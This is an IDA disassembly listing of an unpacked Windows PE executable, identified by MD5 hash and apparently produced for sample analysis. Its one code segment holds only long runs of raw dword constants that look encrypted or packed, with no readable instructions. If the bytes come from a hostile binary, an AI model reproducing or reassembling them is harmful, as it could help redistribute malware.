;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
;
; +-------------------------------------------------------------------------+
; |	This file is generated by The Interactive Disassembler (IDA)	    |
; |	Copyright (c) 2007 by DataRescue sa/nv,	<ida@datarescue.com>	    |
; |		  Licensed to: SRI, 1 computer,	std, 05/2007		    |
; +-------------------------------------------------------------------------+
;
; Input	MD5   :	D8777EC3CDA2A3BAEC2D8C6D87CCA91C

; File Name   :	u:\work\d8777ec3cda2a3baec2d8c6d87cca91c_unpacked.exe
; Format      :	Portable executable for	80386 (PE)
; Imagebase   :	3D0000
; Section 1. (virtual address 00001000)
; Virtual size			: 00065E4A ( 417354.)
; Section size in file		: 00065E4A ( 417354.)
; Offset to raw	data for section: 00001000
; Flags	E00000E0: Text Data Bss	Executable Readable Writable
; Alignment	: default


unicode		macro page,string,zero
		irpc c,<string>
		db '&c', page
		endm
		ifnb <zero>
		dw zero
		endif
endm

		.686p
		.mmx
		.model flat

; ===========================================================================

; Segment type:	Pure code
; Segment permissions: Read/Write/Execute
BrattyUS	segment	para public 'CODE' use32
		assume cs:BrattyUS
		;org 3D1000h
		assume es:nothing, ss:nothing, ds:BrattyUS, fs:nothing,	gs:nothing
		dd 8C270A5h, 0FD3482E4h, 78CF2038h, 0DA8258DCh,	48A89503h
		dd 7D44929Ah, 0B1698C1Eh, 0EF70C772h, 2BEE096Ch, 2C1276E5h
		dd 17C985B3h, 0E513E5E6h, 0F1394FB0h, 1A6F7CF8h, 2106E7FAh
		dd 0BFB7921Dh, 0E4CCAA3h, 0DFD6B4D8h, 8161D4h, 8E3E26Fh
		dd 0BC0ED286h, 0BF7FFC97h, 3B4E3701h, 7A5A872Fh, 490E94A4h
		dd 3FF56E34h, 514DE53Ah, 5BE2AEF7h, 5A602BABh, 1C03494Dh
		dd 0CF28E1FDh, 0E7C8CA36h, 3CFC4196h, 7C17ABAEh, 107D217Eh
		dd 9510BCFFh, 7886AAEEh, 0B5541CB3h, 2F705C14h,	1413DF8Eh
		dd 7F322E94h, 24DB28FAh, 211BE25Ah, 2C1FFE73h, 0BE0533Bh
		dd 128D934Fh, 4A4DB358h, 476AF66h, 38B9F8D9h, 5DF74B15h
		dd 495AB443h, 93441BD2h, 0F1CE493Dh, 0F2D70DD9h, 0D1039715h
		dd 4B68F31Dh, 0D75D2DBCh, 32261945h, 72B301Eh, 515DF84Dh
		dd 2F7099F6h, 0F98BB84Fh, 3E701FE1h, 400B563Ah,	0BE6CEE3Bh
		dd 0AE307F45h, 640DAAA5h, 7B5FF297h, 26D8AD76h,	876A4D36h
		dd 2AE34130h, 0BCAC7853h, 2A245D77h, 51DC65F9h,	0A9E58997h
		dd 2C2C8DF9h, 0A8D382B7h, 4688FA40h, 3793CD9Eh,	94D92F4Ah
		dd 5E6CE1AAh, 3EB03C1h,	8FAE11ABh, 0C57120AAh, 0E77AFB9Ah
		dd 685BB805h, 0B2892DCCh, 0BD111ED1h, 6B7977FCh, 0E1C0074Eh
		dd 9DCBD3C5h, 0EE522116h, 0CB4F3931h, 3D49FF88h, 69ECB4EDh
		dd 0EE1F503Dh, 0C62B7427h, 0B3803857h, 5258FABAh, 0B7D795C5h
		dd 55FD3B0h, 1B5C41AEh,	0EA32EC60h, 0E8E5A0FBh,	4746D990h
		dd 8906A36Fh, 0B2C8B3CAh, 0B1B629F4h, 167161C6h, 8291E0C3h
		dd 0B046B442h, 6EFD05E3h, 7B11E8BDh, 0B1B92047h, 0ED3B1B75h
		dd 0F805888Ah, 0D782449h, 0A61FFD63h, 91155CBCh, 22408571h
		dd 0EB4DF0AEh, 9746D7BAh, 60188CB2h, 0FBFAA15h,	14ECA695h
		dd 0C4317BC0h, 0AEE7E3F5h, 4BFBC235h, 496A0B9Ch, 8E8922C5h
		dd 947986D9h, 0CDC57717h, 1453117h, 1A4F310Bh, 47FDC623h
		dd 1086EF6Bh, 0AE8F0899h, 6CF57747h, 8F0FA861h,	0AD0B7341h
		dd 6D93A464h, 32F042Dh,	0E3D4997Ah, 0AC58DC6Dh,	4D046C17h
		dd 1F53A58Fh, 8FFA5E0h,	0F21A5969h, 34C8EF55h, 80D85677h
		dd 8DB1C20Bh, 1B6C3DDEh, 33A78AEh, 0B284B08Ah, 21B203Dh
		dd 0BD55B625h, 3EF0D7C4h, 0D9C6E48Ch, 299E1690h, 0BA93B891h
		dd 0AD001394h, 70EF5E4Eh, 8DAD872Ch, 370B3838h,	484DE17h
		dd 65D41DEBh, 0AD3CD9F4h, 1992D673h, 0FEF8A02h,	0FF6095E0h
		dd 9DA64ABEh, 0D222917Eh, 0A81E883Bh, 0B5C67AF7h, 0BA5262E9h
		dd 0BAE1B04Dh, 0C95E72BEh, 57D5456Ah, 0E9A7CC7Bh, 0D38429E5h
		dd 0F2D4F4AAh, 54BCACEh, 0B2CD20BDh, 615FDCA6h,	0CC3286F4h
		dd 8BB813C1h, 0F39A8818h, 601DAFB3h, 4F37D03Fh,	0B9434A9Ch
		dd 0B16565Dh, 9F4A4D79h, 3EBC8BE6h, 816D32C0h, 0F273DA62h
		dd 0F42D2B13h, 0F4587A06h, 0E18598Ch, 0B5F75F5Eh, 2F4F57BCh
		dd 7616E4A0h, 6D8B52A2h, 8D3194A2h, 5C51DE19h, 0D2FCB448h
		dd 22E81FA5h, 0C15B4FB3h, 4A038E63h, 0F1F397C9h, 4ED2B3F3h
		dd 67DE8F18h, 6F576B46h, 0A224DDFCh, 222EBD3Bh,	0D0513E9Eh
		dd 6B7CDF73h, 0F36B55A6h, 0C6A2F70Eh, 0A9AFBC6Bh, 0BE77F71Eh
		dd 0A4CCF7B2h, 8F549DE1h, 6B5A8EF1h, 45E8A2F7h,	0FF241BC2h
		dd 96A8F357h, 0CCCFBC6h, 276B101Fh, 7FB8DA5Fh, 0B3CCC110h
		dd 0CAA56506h, 1ACF28D7h, 1E6C2D7Ah, 9C77CE50h,	0A682821Bh
		dd 0F84AB94Fh, 298C5AF7h, 1A85C87Ah, 0F96AF756h, 1DCE31A7h
		dd 277B2E15h, 0C09E32C9h, 8BE4B314h, 0DB479261h, 0B78884Ch
		dd 0BAC83D17h, 83241E5Bh, 0D1204197h, 7853F121h, 86538310h
		dd 996AC1B2h, 0C99F584Fh, 80D9A5E1h, 0F9BAE181h, 54C8FD4Bh
		dd 43D4B5F0h, 9A967F00h, 0DDDA834Ah, 34FCB212h,	77E2F10Eh
		dd 0E9D2C8C9h, 23B9E902h, 9FD1B3A6h, 1C5D702Ah,	5ACD1792h
		dd 98400545h, 0B581E35Ch, 90A3611Bh, 0A999B708h, 0D3A20020h
		dd 2A442BBEh, 0E51BC8C2h, 0AF083F3Bh, 69062A40h, 30F65B1Fh
		dd 2C505Ch, 0C5A64971h,	1ADA3CE7h, 0F977E31Eh, 0C8978C0Eh
		dd 5CC20CABh, 1E8B60EFh, 0F26C931Eh, 0B3397E08h, 6D020147h
		dd 0DF21F087h, 1370B61Ah, 0D70EA8D1h, 0BA9DCC06h, 0FA0600Fh
		dd 0DC50D5A8h, 0B47826Dh, 36588578h, 6B6E7EBFh,	0F76D41Bh
		dd 99B716AFh, 71812394h, 0DD7D1297h, 0FCD0E7AEh, 0ADD2F001h
		dd 0C9B66CB8h, 47ECDC85h, 7B4EB85h, 0EA729D85h,	0A92B91D6h
		dd 818AA4C0h, 5C7C60E6h, 1B728DE0h, 16445BDDh, 9C680E6h
		dd 594ABB4Dh, 6AFAA92Ah, 0D51B010h, 2EEFFB5Bh, 7965D54Ah
		dd 5E9C4881h, 10EF43C6h, 94285FF3h, 3F033491h, 584C7458h
		dd 0DB5E801Eh, 59EB8B69h, 1B01898Ah, 5503DB30h,	8D9C275Dh
		dd 0F8E5670h, 0FE47400Ah, 3A1ABE79h, 66794CA4h,	0ED1B3431h
		dd 84A98E54h, 62B72997h, 88C21344h, 440576Bh, 41EA4FE9h
		dd 687C97B9h, 2DAF5188h, 74DCBD00h, 828D18CDh, 8C1A8755h
		dd 0A8F80D04h, 8C1082D5h, 0E6BEE5CEh, 1915CEC4h, 46683AF7h
		dd 747F5E2Bh, 67BBD0F5h, 0DCCC04A9h, 0F70478B6h, 9D6C61B8h
		dd 90A21611h, 6AF79793h, 0A84C9817h, 1A82953Fh,	6205662Eh
		dd 0CD4A6264h, 1BA4C9B4h, 0C1AE4BAAh, 729B3CC1h, 20AE6546h
		dd 0D7EE1680h, 0AAD56AB3h, 0BC9E37EEh, 43D25F2Bh, 76A4C2Bh
		dd 0B0910DA5h, 132CD152h, 394D7B49h, 0B838018Eh, 18EFE93Ah
		dd 0B90DC764h, 88BAD2E7h, 0B1D0053Dh, 0ACCFDDA8h, 4C646254h
		dd 105EEE85h, 0E430E4h,	70A8CF7Fh, 758C64F4h, 7863CC4Ch
		dd 249D2E25h, 647684CCh, 2CB7B39Dh, 0BCD32A61h,	0F7457115h
		dd 66B29A94h, 0DA63A55Fh, 525F7651h, 0DA3F03C9h, 0A2289C3Eh
		dd 81BA5B99h, 7A3674B0h, 0B0A3586Dh, 0D1426523h, 0A077E7BFh
		dd 0CD0E51C1h, 2E9222F4h, 4DBB67BAh, 0FEA59A75h, 3C63FF1h
		dd 1EFF040Bh, 644F4062h, 0DAEE416Eh, 79A065h, 7CC648D4h
		dd 1B516615h, 777B1035h, 696BBE24h, 6C504A92h, 3A5D81F8h
		dd 31EA3798h, 3C30E389h, 6BEF7A45h, 1176D0F6h, 0B1F8205Ah
		dd 0DAC8623Dh, 3EA7F290h, 385FF74Bh, 9826C574h,	0C6E3C98Dh
		dd 0D0135280h, 3BBCE33Bh, 0A5C584C7h, 0BAC09BA7h, 0C601A930h
		dd 0F3F587F3h, 0FF71D9A1h, 0E9CB2B8Eh, 857B2890h, 9849F743h
		dd 0FFECB5B6h, 26094367h, 4ABB01D0h, 0CB1BA5F3h, 0B5B6F143h
		dd 0A3C3376Ch, 5DCA10A5h, 0F9CADBh, 65B8F22Bh, 0CA3E42E0h
		dd 91F49ABBh, 0CB77072Ah, 0F89E48D8h, 0F1EB2CBAh, 20A707B4h
		dd 2A7697CDh, 238293D9h, 9C64568h, 0DEF28629h, 0EA091330h
		dd 7D5FC434h, 87C54581h, 0DE365B28h, 0B23AE53Dh, 0A40B0A47h
		dd 1DB4A69Eh, 4A1D4625h, 38874F68h, 324AC5Dh, 6E5F29E6h
		dd 0C18EEEAAh, 0F7903396h, 9D47C18Dh, 0FE185F70h, 6325FE63h
		dd 0DC53C064h, 609A9757h, 50C84C59h, 38D4C2C9h,	0D2228F1Bh
		dd 3E4B7210h, 1262FF24h, 0A28C4BC8h, 0D2DCF0BBh, 24D64F09h
		dd 3FB76C60h, 0A0DB5F47h, 3CFB0E19h, 9E601555h,	2ED707F6h
		dd 5027093Ah, 1450F468h, 0B876E5A1h, 5CA1F74Fh,	99185A1Bh
		dd 0C73CE532h, 5C7F5103h, 0CFECF163h, 6E970AEEh, 1AF40C0Bh
		dd 370C0F38h, 59B70C18h, 922C4E89h, 711948A2h, 9CF4E94Ah
		dd 0D76466EEh, 0C60271DCh, 0A7E7EC07h, 424E9385h, 41409C67h
		dd 0A3F8F7F5h, 0E4EA42A3h, 0B6E52A17h, 9F8F7ABBh, 0F46B121Eh
		dd 0B9578967h, 72ED3CABh, 23F67726h, 0BDBAA465h, 0F75F9BE1h
		dd 21970BD3h, 4D3D00Eh
		dd 717DA47Ch, 307592D6h, 8F0B36EEh, 4E84786Fh, 41C39EAAh
		dd 91A90515h, 1DD1E532h, 91557DBh, 0DBD452F3h, 0B4B1E4CCh
		dd 7CCE39B8h, 0B17842CCh, 8F0903B8h, 62A5F5E7h,	0C7E22256h
		dd 59618FCDh, 6706D567h, 0F0BBE4C4h, 0DC1F9DE0h, 0B2339A06h
		dd 54CCDF6Eh, 21ED1352h, 0CC6F8D8Ah, 41FA815Ch,	9EBB484Fh
		dd 0DFD06208h, 0F3F8784Ch, 0F4E19888h, 0FE376408h, 8FAA3353h
		dd 0C66F6B3h, 0A33454C6h, 974D870Fh, 0FE54E6D5h, 0CD60CFCh
		dd 0F1C4B6FDh, 7552E36Dh, 0EDF5D1FAh, 384EF5CFh, 90FC9C03h
		dd 284B74D0h, 5993C08Eh, 0DE34564Dh, 1692110Dh,	0CFE0170Bh
		dd 30976C5Bh, 0BB864681h, 3081E59Ch, 0E9E57BB4h, 0F78F078Fh
		dd 0C12675E2h, 76255823h, 0EF021C7Fh, 0E9D0EE9Eh, 0A68FCE64h
		dd 2B3C6E82h, 0D684E173h, 0CD7F96E5h, 5635D776h, 0DF0762CEh
		dd 182FF043h, 1CA40C4Fh, 4DB9B715h, 89935103h, 0B29830CDh
		dd 4F73D9F6h, 3F80BCA3h, 306A2E96h, 8A9D9A69h, 0D2989D1Bh
		dd 364EF9Ch, 686DA527h,	0CF289A47h, 0B30AF72Ch,	6983D833h
		dd 8D7653D1h, 5A039A84h, 80346C8h, 796697D7h, 3D332885h
		dd 20A009D4h, 17509B52h, 0ADA0173Eh, 0C7DB3095h, 0EE4A8070h
		dd 7B186D9Dh, 0E81302B3h, 0DCC8E208h, 482B8529h, 0D9F78E47h
		dd 0DB9FBFD9h, 19C57146h, 7011D080h, 4305A98Dh,	657335EDh
		dd 0DEA0F917h, 0D4DA1013h, 1A869E6Dh, 194C0E5Fh, 0F832D162h
		dd 0B8D1463Eh, 3715DEF0h, 0CF81206h, 33FC783Dh,	0F5E352C8h
		dd 0EBBE5557h, 0C067D8CFh, 5F4D1E26h, 575B892Eh, 501A99ACh
		dd 133A28A2h, 0ABC8CA5h, 0BEC828AAh, 0D0E5EC75h, 527CB0FAh
		dd 34FFF0EEh, 7FA75E3Dh, 3E66ADD6h, 0AA3210D0h,	217A09CCh
		dd 9698AFA6h, 0E817461h, 0C5809586h, 564633B0h,	1FE3554Fh
		dd 0B509C363h, 1CB6B97Ch, 0FCF07BEEh, 984C1C23h, 0B84C08B7h
		dd 9A8E7870h, 4C2B50D6h, 0BF91A82Bh, 842E342Eh,	0E6480569h
		dd 0F42FDD5h, 6E7DB80Ah, 84FAD397h, 199FFD12h, 0DA39740Dh
		dd 92CFFE0h, 4C940D64h,	17930789h, 4851AB4Ah, 1F9F7D15h
		dd 0AA5D7A7Fh, 0A614E2C2h, 0F34E6B4Fh, 2A88C7F4h, 0E2A1D021h
		dd 10AAD269h, 106A4DF5h, 0E1846821h, 7888BD11h,	39DA02B2h
		dd 0FA9F98B4h, 0BC5A0F75h, 87B0C36Eh, 4357628Eh, 0B61A0791h
		dd 0A1B84405h, 6750555Bh, 63EE1FFBh, 48AE069Fh,	51CD9CE0h
		dd 0B3792300h, 0A5DE4EF8h, 0CB2752D6h, 0F5F35C50h, 0DAC7BB9Dh
		dd 3854CA81h, 0E40A6FBFh, 5454F8DCh, 0EB2F5326h, 0C9B934B4h
		dd 7E1A36EAh, 31F4AE21h, 0E1A97D75h, 9F494F12h,	14DED820h
		dd 0C790B965h, 0CFF0B9ACh, 0FA377FE8h, 698EA978h, 0A4AC7266h
		dd 925E6722h, 0B6255F46h, 9367F203h, 1B9C2A2Dh,	0EDB3AE53h
		dd 0A816D761h, 0B187CCFDh, 48839010h, 7065925Ah, 6A573390h
		dd 3CCDAC55h, 443DD7D8h, 6B59A667h, 363EB1CCh, 0B9C51812h
		dd 3BEF0D98h, 0FF7539Bh, 7D5E52E8h, 0E1FE8CD8h,	0C337E1C5h
		dd 88C807B1h, 83104E01h, 701672A8h, 5F54D293h, 5238DD5Dh
		dd 18C3633h, 0BFA2D6BFh, 131F6DCEh, 8147985Dh, 697FCAF9h
		dd 88B004EFh, 2A7382F3h, 0D4DD1CFFh, 1090FE60h,	0EC265E20h
		dd 84168C5Eh, 0D6D3FC23h, 6E91CD79h, 2890E1AFh,	0AADADDCDh
		dd 59810DA0h, 4EC58604h, 0CEDAF812h, 61FF0E05h,	714CFA9Bh
		dd 656280FEh, 91058948h, 20ADB9ADh, 2379222Ch, 278F4812h
		dd 71A29CDBh, 0DFFC7C1Bh, 75C2018Fh, 0C1919F10h, 0AA773114h
		dd 9AA2A091h, 3946F14Ah, 43C2B482h, 535DB646h, 9064E336h
		dd 855340DAh, 0D3578A68h, 50DDCD6Dh, 0EC898240h, 480ACC73h
		dd 0CF9378E3h, 0DCB6D2E9h, 1DBA691Ch, 0C9BD9707h, 2101CDD3h
		dd 0E55AEA27h, 0DFD776EEh, 0E3895668h, 45EA086h, 9B3AFA4Eh
		dd 28E4B9E1h, 89DE99CFh, 1C8B2ECCh, 81A0B000h, 0E873180Fh
		dd 9DBA2B73h, 508F3CEEh, 0FDAC448Bh, 7ABA7BF1h,	0DC8E18E9h
		dd 86F43B2Ah, 12250DF5h, 0C4CFCCC8h, 0C3AC7F29h, 571FDCC6h
		dd 8CF58955h, 81449F3Fh, 102B33FDh, 25CD89F8h, 0BBDD1EB2h
		dd 35ADA5CAh, 0DE70659Ah, 936EE36Dh, 9FD95479h,	8F6EBDD0h
		dd 92B29A8Dh, 0E09E311Ch, 0ED09A9EFh, 21959AF7h, 8E4A54Bh
		dd 3656E973h, 0ED16921Ch, 653D3223h, 0C45B5A8Dh, 7037C555h
		dd 0AAD70E19h, 0C1421FD3h, 0A6B27261h, 3520F79Dh, 0F688E90Ah
		dd 0E4970D8Ch, 8E7C1668h, 807DB13Eh, 1BF38A9Fh,	0D1DA4F30h
		dd 0A7D8E3FCh, 2BCE92B3h, 0C39994C8h, 0CCC2CB2Ah, 0C557E027h
		dd 29CBF807h, 892E50F9h, 0FE4C1764h, 6D9A6E8h, 99303011h
		dd 926C21B1h, 19B22D0Ch, 827F6FC4h, 6B4C3BFDh, 0BB8E90B0h
		dd 5468A7FEh, 0F929D26Dh, 0FB0A222Fh, 0BE78EF55h, 0EF1D87C9h
		dd 0E1BB5CE9h, 0EA73BF05h, 51BF252Bh, 6B1F552Ch, 25E3A226h
		dd 7EC49F04h, 5B083931h, 261A2833h, 0AF28A4DDh,	0C62FC98Ch
		dd 0FA0F1502h, 9D7B7BA3h, 1B89EDCAh, 6DD6A5EEh,	9A705E67h
		dd 2757856Dh, 685B9D0Fh, 0E153083Fh, 1E126086h,	0F5411A22h
		dd 99E172B3h, 6C8136ACh, 787BF243h, 8CA1E2EFh, 0A1EBFA05h
		dd 0D2BF886Ah, 0EBCB7D3Ch, 0B183D5D0h, 8246F8A8h, 0E74A376Fh
		dd 0F7B25012h, 50AE8814h, 0E4DDA4F1h, 18BC26AFh, 0D2FACEFFh
		dd 0D7392C83h, 916F687Fh, 0FA544DFDh, 54EE666Dh, 42BC12F5h
		dd 0B733B8EAh, 628F723Fh, 2BA4FB9Dh, 0C8E720B9h, 0DB9D58F1h
		dd 0AD293248h, 886C4C4Dh, 0BC734D69h, 69AFD1FCh, 9675EE2h
		dd 0B4C369C4h, 0C0B697EEh, 4AF5E615h, 70D1F753h, 0C199880Dh
		dd 0B2165BF0h, 0EF02ACE5h, 6809777Eh, 0FBDF1E21h, 0EB9F4EFCh
		dd 0C677741Fh, 0EE40470Dh, 9BBD733Ch, 0B5397611h, 103389A9h
		dd 1D4B52F3h, 0CAB52275h, 8F8E6137h, 4755B22Ch,	0BE2AC45Bh
		dd 8E6222A0h, 0FF345B7Eh, 0CB9CA9D1h, 0CD89EC15h, 4C5683C9h
		dd 0E7CB8AE5h, 34063C99h, 0F7C7A630h, 4600AFD0h, 47317596h
		dd 0A7ED2242h, 57BBFB47h, 0CBB9B8B3h, 0FBF99DD1h, 565A98D7h
		dd 0F419A864h, 808192EEh, 8704A8E0h, 3C6774AFh,	0E5600A04h
		dd 0DE748517h, 0C89AB8F5h, 0C4390FFAh, 0BD853106h, 0FF8A75BAh
		dd 0BC4D9FFCh, 0D621E356h, 0E87BD01h, 8C8CB501h, 51E9DC24h
		dd 78105EAFh, 9C8338DBh, 56FA2C27h, 863E0C01h, 4A335837h
		dd 9E305814h, 7B618540h, 0F440DD7h, 4E09C2FDh, 0B724CB43h
		dd 0C08791BFh, 0CA7847FAh, 0C1571D52h, 951FE9ADh, 30C3E69Dh
		dd 46A44546h, 4B24B9BFh, 0B8D4D647h, 1FBDFBE7h,	0AA2053D5h
		dd 0C8C63634h, 6E11C621h, 0CB01F092h, 0F9258153h, 1C6B6D2h
		dd 11D167E2h, 208861FAh, 72524641h, 88D75C3Fh, 0E664EC90h
		dd 956EDF66h, 47D46C97h, 0D4B82FE4h, 0B4CFCCFBh, 4AC25Fh
		dd 32DA7532h, 0A01095A0h, 0A5A9083Bh, 6D684957h, 0DEE69777h
		dd 0C999AB1Fh, 15148C6h, 73302E97h, 0F4F28B49h,	22921C3Bh
		dd 0B5DAAF8Dh, 535BE6A9h, 8ECA1D72h, 7BE91789h,	182D59Ah
		dd 6861398Dh, 46B0BCEDh, 447A1CB3h, 0AEFBF8AAh,	0A3C87682h
		dd 0DE87A18h, 22BDCB01h, 7CD0A0C0h, 0AC99D9E4h,	66FDAFB2h
		dd 305F3062h, 7EA19344h, 3A55EC90h, 37DA6C84h, 61A346DCh
		dd 0F1B71823h, 91440F82h, 0BA684D86h, 2DDFD016h, 28DDE056h
		dd 4125C4E4h, 6214B846h, 89B652AAh, 218DAAE0h, 0CE0C6639h
		dd 5DD89E0Eh, 2BADA676h, 0CCE7AF26h, 937AFDB6h,	8D36590Ch
		dd 0A399CDC0h, 0F376F2EEh, 803BD939h, 93169018h, 62B1903Ah
		dd 279E91ADh, 0F3261CAFh
		dd 580171FBh, 1366F48Eh, 0B70D66C2h, 828413B4h,	4E1B5321h
		dd 0CC63351Bh, 0BA7DEA9Fh, 0CDBF543h, 0FDBD00F2h, 6BB2863Fh
		dd 90B6DE90h, 0D17AAE88h, 471F5CECh, 6F4F0EDh, 0B81806C0h
		dd 1402DC49h, 3E7CDFE0h, 0F7F288D0h, 9B433617h,	3707ED6Eh
		dd 0AA5E078Dh, 55563AB8h, 2B1CA376h, 0B2F122AFh, 33E6DC39h
		dd 0CC7CFF98h, 4467A49h, 0CA211079h, 0C95C3EECh, 5D80B4C1h
		dd 0BB6CF44Dh, 2A1CDBA5h, 9248BA31h, 0CE4CF341h, 0AFB48392h
		dd 4A5EC1A6h, 8539630Dh, 0D7300DB7h, 433D8A29h,	9EF86CA1h
		dd 47490FD3h, 81AC9AB3h, 191523B1h, 747D5A74h, 1CAD4FF8h
		dd 5C166D5Ch, 73214F38h, 3FAE5F06h, 734A2B6Ah, 588665Ah
		dd 89924067h, 711C20FCh, 0FB4E6CCFh, 7424D179h,	0A611B374h
		dd 39467839h, 323B281Eh, 0A62A5BEEh, 22F0A553h,	45E1A64Bh
		dd 0FEF6D70Eh, 0E408E5BCh, 0BFDBC06Fh, 2D6DD127h, 0AABC34AFh
		dd 65BB45F8h, 59FAF51Ch, 28527284h, 1D15AA07h, 5EC28FE8h
		dd 0BB589EB4h, 5A19A692h, 2BE92654h, 7E707549h,	3FBD0A2Dh
		dd 0A6125C36h, 6B209EEAh, 90CF56FAh, 0D0449788h, 369B98E3h
		dd 2DD24D0Ch, 0ECA3A22Bh, 1F39E2D4h, 1C9B96E7h,	16AB2A64h
		dd 9971579Ch, 1F500CBh,	6943BA3Eh, 20983A4Bh, 1C4C3604h
		dd 4B011075h, 96A32355h, 8CFD6C71h, 8ED7105Dh, 0EC9540CDh
		dd 0C63659A3h, 5970ADBh, 0A77E0AF2h, 1B99E64Dh,	0C6F6D678h
		dd 2D20A817h, 0ECBEAF4Ch, 7D4EF993h, 1FF71666h,	0EB8332DAh
		dd 249BB75Ch, 0E8DDCD14h, 34B991C0h, 471F9DCEh,	28AFCC7Eh
		dd 7EB3E87Ch, 2FDC5501h, 0B64634FAh, 1C794290h,	0CA959C82h
		dd 0B87D9F51h, 2E4CFA09h, 0CA5A8D8h, 3A20343Bh,	120D7DAAh
		dd 796D69EBh, 16694BD0h, 0DA529888h, 0E1F31822h, 0B297AE5Ch
		dd 0FD57AFD3h, 0A33E3D81h, 1C4D5010h, 97073FDAh, 9F3A9095h
		dd 78664264h, 763006F2h, 46616BD5h, 61BF3D34h, 0F6F4E0BFh
		dd 9CDB2AB2h, 0A029BFD5h, 1A8482A8h, 7DAAF62Eh,	84C4E042h
		dd 2461B23Ch, 9887CE86h, 95E7F32Bh, 82F518BDh, 3D09A9BFh
		dd 0B8ED6D22h, 6A610CD0h, 2CFEBBEDh, 281033BAh,	0D456DE1h
		dd 8268A2D7h, 6FF282FFh, 76DBFEC4h, 2B156AE7h, 0FA8C939h
		dd 0F5D9C7AEh, 0C70E24EEh, 7BE3FD23h, 0EB3D0213h, 7FEAB1CBh
		dd 3DAFD4ACh, 17E3C21Dh, 84B8D694h, 0BDEC09D0h,	0A9F10682h
		dd 320F2AE2h, 0DCDE9DA4h, 0A224614Eh, 7A770579h, 0BC37C274h
		dd 0DB1F7DF7h, 4CB47583h, 0E8FF93F5h, 3EE5D45Bh, 0E421957Eh
		dd 0F1390020h, 638C865Eh, 30FCFBF3h, 0F34648F5h, 911C578Fh
		dd 2CC97CF2h, 182BFEC5h, 9319DE9h, 9F501E13h, 0DB9BDD40h
		dd 0E38EF823h, 0BFFB3972h, 2CD45342h, 8B29CBD9h, 0AF503C51h
		dd 31C78C74h, 2D19A54Fh, 5C5AAA8h, 48C684E4h, 68F6B98Dh
		dd 32BF3FF7h, 1B59528Ch, 0CB2D0F1Ah, 9F6C7740h,	0B76FB996h
		dd 75129FE6h, 9E3B49B6h, 83FD4D87h, 79AD3F19h, 1408BB9Ch
		dd 12A08079h, 885F789Fh, 0ACCE21CAh, 0D059A9EEh, 137F48D1h
		dd 488CA8E1h, 2E96B6D7h, 6B817DB5h, 0C1E6A868h,	0AF850C4Bh
		dd 0E5551EFFh, 9CB1FBD2h, 214A1384h, 6DBD09BCh,	0DD70353Bh
		dd 0D01AFF76h, 234B56CEh, 814AAF1Ch, 0C6EE281Dh, 216C2A72h
		dd 44E9AD34h, 74661177h, 0CEDD6042h, 3893C767h,	0CB972206h
		dd 9C631861h, 2CAFDECh,	0CA9F3BAFh, 0F9C4C527h,	0E532C5D2h
		dd 69FBD0C7h, 424DA503h, 42C563F8h, 145BF8DCh, 54B2EE1Eh
		dd 0BD93FC56h, 41655B4h, 912E94CFh, 85AD067Ch, 2A0E78E8h
		dd 9CAD324Bh, 0DA333AD8h, 3DF7B15Ch, 0DC8115Fh,	8B8A00E4h
		dd 2163BB7Ch, 97277621h, 0C6227993h, 3A166445h,	263DB0h
		dd 0A4508032h, 5589536Ch, 37C5A263h, 0C8A7B3E5h, 0C59A1521h
		dd 3119DFBBh, 0CAF9AC7Bh, 0A2085D75h, 8247BC44h, 92319CE5h
		dd 4CE387E8h, 0F2E69193h, 25DED9C4h, 0DD52D8A4h, 0C2FEC563h
		dd 0D8BCC28Bh, 12147087h, 0C4511C08h, 0DC054CE1h, 4D13F619h
		dd 6FF31DE9h, 8270EFFAh, 0EFE17492h, 0DBB0C2Dh,	0D59451C7h
		dd 0F61ED9D1h, 33C1CD29h, 8410AD03h, 1585BD4Eh,	83B9FBDDh
		dd 0AE1118B1h, 0AE3244E7h, 872F5E89h, 2AD942F5h, 0CD4034F2h
		dd 0E1750609h, 0A257F16Ch, 610523DAh, 0EC417230h, 7CC871B5h
		dd 988FC095h, 7D8AB282h, 0B5552066h, 46889299h,	0A48DD43Dh
		dd 27C495FEh, 8B5D62A6h, 0D79C4BDFh, 0C0055BCFh, 9B2CC78h
		dd 829B294Ah, 9F9977D2h, 579EB26Bh, 6A0B5894h, 0A0054FEFh
		dd 47862340h, 525ED5FCh, 4D5CA620h, 0C6B2ED0Dh,	2E95352Eh
		dd 8EAF8954h, 7075C96h,	7E7C7D2Dh, 11076DEFh, 0D720916Fh
		dd 0F4F0ABF0h, 0D4179C5Eh, 0DF4D7296h, 9AB99C81h, 1B986484h
		dd 0D0159B0Fh, 9243B50Ah, 0D49E1CA5h, 288D134Bh, 0DB9959F4h
		dd 0CDC40773h, 0D71BEFD8h, 90FC5E5Fh, 6F5077D1h, 51C4ECDCh
		dd 92F15F53h, 77CB5369h, 6D3583B3h, 0A0CD9BD4h,	0E1876C83h
		dd 0DC2A88CFh, 0BAD80277h, 0D8FE9AEBh, 37250766h, 0DFFB5FA2h
		dd 0FB4BDEF3h, 734572C1h, 0F6B3235Eh, 6BE37C2Eh, 0ABC360D9h
		dd 603BA065h, 195BCF1Ah, 0DCD54D81h, 0C45AF987h, 7BA3C790h
		dd 54D9AB24h, 93CC9DFEh, 73C4CE9h, 7A83CB3Eh, 95D166E9h
		dd 0ECC73B5Eh, 7D8F5C54h, 0AE4FC309h, 0C5836443h, 0A54941B1h
		dd 37394A6Fh, 0FB82BA0Bh, 0C08E556Bh, 0D941A297h, 0BAAA75Fh
		dd 0CF0E9CEDh, 0C8AB344Ah, 83B7B45Fh, 33A8F5Bh,	0BA85EA27h
		dd 48412F2Ah, 12359B88h, 0A5A31CB1h, 0CC0F36E0h, 67138210h
		dd 0B43E182h, 1C203F4Ch, 653DA29Eh, 0F8FE2BFAh,	0C2F78018h
		dd 32A3373Ch, 4D34949Ch, 9702FE67h, 3D03CD82h, 2E5CE79Fh
		dd 9DE627B0h, 0F3B91C56h, 4C34C743h, 0E950924Ch, 75878D7Ah
		dd 9FDE8744h, 0DABEB975h, 8D5C5F1Eh, 54BAEC79h,	0F117A078h
		dd 6181EC00h, 5E5D155Bh, 81A847E3h, 3FA864B5h, 72CA77EEh
		dd 1FF3BAE2h, 8FDAA042h, 40D8693Eh, 0FE45B372h,	0B1D3CE2h
		dd 0A925267Eh, 0C535FC6Ch, 462B30A0h, 0EB09A429h, 91D5DE5Ch
